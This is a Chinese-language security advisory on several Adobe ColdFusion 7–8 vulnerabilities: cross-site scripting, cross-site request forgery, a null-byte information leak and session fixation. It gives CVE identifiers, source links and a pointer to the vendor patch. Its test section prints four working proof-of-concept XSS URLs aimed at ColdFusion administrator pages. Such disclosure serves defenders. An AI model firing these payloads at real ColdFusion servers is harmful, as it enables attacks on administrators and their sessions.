发布日期：2009-08-18
更新日期：2009-08-18

受影响系统：

Adobe ColdFusion 8.0.1
Adobe ColdFusion 8
Adobe ColdFusion 7.0.2

描述：

---

BUGTRAQ  ID: 36096,36053,36054,36056,36046
CVE(CAN) ID: CVE-2009-1872,CVE-2009-1875,CVE-2009-1876,CVE-2009-1877,CVE-2009-1878

ColdFusion是一款高效的网络应用服务器开发环境，具有很高的易用性和开发效率，基于标准的Java技术，可以与XML、Web Services和Microsoft.NET环境相集成。

ColdFusion的searchlog.cfm、_logintowizard.cfm、_authenticatewizarduser.cfm、_authenticatewizarduser.cfm脚本没有正确过滤用户所提交的startRow等参数，远程攻击者可以通过提交恶意请求执行跨站脚本或跨站请求伪造攻击。

此外ColdFusion中的双重编码空字符漏洞可能导致信息泄露，会话固定漏洞可能导致权限提升。

<*来源：Alexander Polyakov
        Pete Freitag
  
  链接：http://www.adobe.com/support/security/bulletins/apsb09-12.html
        http://marc.info/?l=bugtraq&m=125052133002216&w=2
        http://secunia.com/advisories/36329/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://localhost:8500/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%DF%20%E7%E4%E5%F1%FC%20%E1%FB%EB%27))%22%3E
http://localhost:8500/CFIDE/wizards/common/_logintowizard.cfm?>'"><script>alert('DSECRG_XSS')</script>
http://localhost:8500/CFIDE/wizards/common/_authenticatewizarduser.cfm?>'"><script>alert('DSECRG_XSS')</script>
http://localhost:8500/CFIDE/administrator/enter.cfm?>'"><script>alert('DSECRG_XSS')</script>

建议：

---

厂商补丁：

Adobe
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.adobe.com/support/security/bulletins/apsb09-12.html

浏览次数：2652
严重程度：0（网友投票）